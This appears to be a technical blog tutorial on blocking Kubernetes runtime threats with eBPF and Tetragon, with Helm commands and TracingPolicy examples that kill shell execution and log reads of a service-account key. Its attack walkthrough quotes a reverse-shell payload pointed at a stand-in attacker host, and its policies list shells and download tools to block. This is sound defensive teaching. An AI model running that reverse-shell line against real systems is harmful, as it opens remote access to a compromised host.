Real-Time K8s Security: Blocking Threats with eBPF and Tetragon
Static analysis, image scanning, and admission controllers are the table stakes of modern Kubernetes security. We spend significant effort ensuring that only 'known good' images are deployed. However, the reality of production environments is that once a container is running, our visibility often drops significantly. If an attacker exploits a zero-day vulnerability in a web framework or a dependency, they aren't stopped by your CI/CD scanner. They are operating in the 'runtime'—the most critical and often the most opaque phase of the software lifecycle.
Traditionally, runtime security relied on heavy-handed approaches like ptrace, LD_PRELOAD hacks, or sidecars that intercepted system calls. These methods shared common flaws: high performance overhead, instability, and the 'bypassability' of user-space agents. This is where eBPF (extended Berkeley Packet Filter) and Tetragon change the game.
The Shift to eBPF-Based Security
eBPF allows us to run sandboxed programs within the Linux kernel without changing kernel source code or loading kernel modules. For security, this is a superpower. Because the kernel is the ultimate arbiter of every process execution, file access, and network connection, eBPF provides a source of truth that cannot be easily subverted by a compromised user-space process.
Unlike traditional auditing tools that collect logs and send them to a remote server for analysis (often resulting in alerts that arrive minutes after the breach), eBPF-based tools can perform filtering and enforcement directly in the kernel. This allows for 'real-time' blocking—stopping a malicious action before the system call even returns.
Introducing Tetragon
Tetragon, part of the Cilium project, is a specialized runtime security and observability tool built on eBPF. While many eBPF tools focus on observability (telling you what happened), Tetragon focuses on enforcement (preventing what shouldn't happen).
Its core architecture relies on a kernel-level agent that monitors events via Kprobes, Tracepoints, and LSM (Linux Security Modules) hooks. It then applies a TracingPolicy—a Kubernetes Custom Resource Definition (CRD)—to determine whether an action is permitted. If a policy violation occurs, Tetragon can immediately kill the offending process or send a signal, effectively neutralizing the threat in microseconds.
Setting Up Tetragon in Kubernetes
To get started, you'll need a Kubernetes cluster (v1.16+) with a Linux kernel that supports eBPF (typically 5.4 or later). Tetragon is most easily installed via Helm:
helm repo add cilium https://helm.cilium.io helm repo update helm install tetragon cilium/tetragon -n kube-system
Once installed, Tetragon runs as a DaemonSet, ensuring every node in your cluster is protected. You can verify the installation by checking the logs of the Tetragon pods or using the tetra CLI tool.
Implementing Your First TracingPolicy
The power of Tetragon lies in its TracingPolicy. Let’s look at a common real-world scenario: preventing the execution of unauthorized binaries in a production namespace.
Imagine a microservice that should only run its entrypoint binary. If an attacker gains shell access via an exploit, the first thing they often do is run curl to download a rootkit or sh to explore the filesystem. We can block this behavior entirely.
Example: Blocking Unauthorized Shell Access
Here is a TracingPolicy that blocks the execution of /bin/sh within a specific namespace:
apiVersion: cilium.io/v1alpha1 kind: TracingPolicy metadata: name: "block-shell-execution" spec: kprobes: - call: "sys_execve" syscall: true args: - index: 0 type: "string" selectors: - matchArgs: - index: 0 operator: "Equal" values: - "/bin/sh" - "/usr/bin/sh" - "/bin/bash" matchNamespaces: - "production" action: Sigkill
Breaking Down the Policy
- kprobes: We are hooking into the
sys_execvesystem call, which is responsible for executing new programs. - args: We capture the first argument (index 0), which is the path to the binary.
- selectors: We filter for specific values like
/bin/shor/bin/bashspecifically within theproductionnamespace. - action: Sigkill: This is the critical part. Instead of just logging the event, Tetragon will send a
SIGKILLto the process attempting to execute the shell, stopping it instantly.
Advanced Use Case: File Integrity and Sensitive Data
Beyond process execution, Tetragon can monitor and protect file access. A common attack vector involves modifying /etc/shadow or reading sensitive credentials from a mounted volume.
Traditional File Integrity Monitoring (FIM) tools often rely on periodic scans, which can miss transient changes. Tetragon provides real-time FIM. Consider a policy that monitors access to a sensitive configuration file:
apiVersion: cilium.io/v1alpha1 kind: TracingPolicy metadata: name: "monitor-sensitive-files" spec: kprobes: - call: "sys_openat" syscall: true args: - index: 1 type: "string" selectors: - matchArgs: - index: 1 operator: "Equal" values: - "/etc/kubernetes/pki/sa.key" action: Post
In this case, we use action: Post to log the event after it occurs. This is useful for high-fidelity auditing of access to cryptographic keys or secrets. By combining this with a logging pipeline (like FluentBit or Promtail), you create an immutable audit trail of who accessed what and when.
Operationalizing Tetragon: Performance and Observability
As a senior engineer, you're likely concerned about the performance tax. The 'eBPF tax' is significantly lower than the 'Sidecar tax.' Because filtering happens in the kernel, only the events that match your policy are ever sent to user-space. This minimizes context switching and CPU overhead.
However, you should still follow best practices:
- Be Specific with Selectors: Avoid broad policies that hook every
sys_readacross the entire cluster. UsematchNamespacesormatchLabelsto limit the scope to high-risk workloads. - Monitor the Monitor: Tetragon exports metrics in Prometheus format. Monitor the
tetragon_errors_totalandtetragon_events_totalmetrics to ensure the agent is healthy and not dropping events due to buffer overflows. - Audit Mode First: Before deploying a
Sigkillaction in production, deploy the policy with anObservableaction. Review the logs to ensure you aren't breaking legitimate application behavior (e.g., a cron job that legitimately uses a shell script).
The Developer Experience (DevEx) Angle
Security is often seen as a friction point for developers. Tetragon mitigates this by allowing security teams to define 'Guardrails-as-Code.'
When a developer's process is killed by Tetragon, the logs provide a clear reason: "Process killed by TracingPolicy 'block-shell-execution'". This is much more actionable than a generic 'Connection Refused' error. Furthermore, by integrating these policies into the same GitOps workflow used for application code, developers can see the security constraints early in the development cycle.
Real-World Impact: Neutralizing a Reverse Shell
Let’s walk through what happens during a real attack. An attacker finds a remote code execution (RCE) vulnerability in your Java application. They send a payload that attempts to open a reverse shell: bash -i >& /dev/tcp/attacker.com/4444 0>&1.
- The Java process attempts to call
execve()for/bin/bash. - Tetragon’s eBPF program, triggered by the
sys_execvekprobe, intercepts the call in the kernel. - The program checks the
TracingPolicy. It finds a match for/bin/bashin theproductionnamespace. - Tetragon immediately issues a
SIGKILLto the process. - The
execvecall never completes. The attacker receives a 'connection reset' or the process simply disappears. - An alert is sent to your SOC with the full process tree, including the parent process (the Java app), the arguments used, and the container ID.
Without Tetragon, the attacker would have a shell, and your only hope would be detecting the outbound network connection—if you had the right egress filtering in place.
Conclusion
Runtime security is no longer an optional layer in the Kubernetes stack. As the complexity of our applications increases, so does the attack surface. Relying solely on perimeter security and static analysis is a strategy of hope, not a strategy of engineering.
By leveraging eBPF and Tetragon, you can move from reactive logging to proactive enforcement. You gain the ability to:
- Block malicious process execution in real-time.
- Audit sensitive file access with zero-day accuracy.
- Maintain high performance without the overhead of traditional security agents.
Your Next Steps:
- Install Tetragon in a development cluster.
- Apply a basic
TracingPolicyto monitorexecvecalls in a non-critical namespace. - Use the
tetraCLI to observe the events and understand the metadata Tetragon provides. - Gradually move toward enforcement for high-risk binaries like
curl,wget, andshin your production environments.